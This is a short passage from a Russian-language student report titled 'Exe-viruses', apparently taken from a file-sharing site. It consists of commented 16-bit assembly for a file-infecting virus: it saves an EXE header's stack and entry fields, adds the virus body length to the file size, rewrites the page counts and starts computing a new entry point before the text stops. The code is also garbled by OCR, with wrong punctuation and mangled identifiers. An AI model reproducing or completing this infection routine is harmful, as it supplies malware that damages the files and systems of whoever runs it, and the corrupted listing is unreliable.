Доклад: Exe-вирусы

cmp dx,[si+PageCnt]

jne ExitProc

;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла.
.Значения констант, используемых в программе,
.равны смещению соответствующего
;элемента в заголовке ЕХЕ-файла (Приложение А)
InitRetVars:

mov ax,[si+ReloSS]

mov oldss.ax

mov ax,[si+ExeSP]

mov oldsp.ax

mov ax,[si+ReloCS]

mov oldcs.ax

mov ax,[si+Exe!P]

mov oldip.ax

.Восстановим из стека реальную длину файла
;В данном случае она совпадает с длиной, указанной в заголовке

pop ax

pop dx

.Рассчитаем длину программы с вирусом, для чего прибавим
;к длине файла длину тела вируса

add ax,VIRSIZE ;VIRSIZE - длина тела вируса

adc dx.0

рассчитаем получившуюся длину (одна страница - 512 байт)
;и остаток в последней странице (так же,
;как рассчитывали длину файла без вируса)

mov cx,0200h

div ex

or dx.dx

jz newJen

inc ax
NewJen:

;Внесем в заголовок новую длину файла
mov [si+PageCnt],ax
mov [si+PartPag],dx

;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
Eval_new_entry:

mov dx.Reallen+2

mov ax.Reallen

; Рассчитаем новую точку входа.

.Точка входа в вирус должна находиться

К-во Просмотров: 1174
Бесплатно скачать Доклад: Exe-вирусы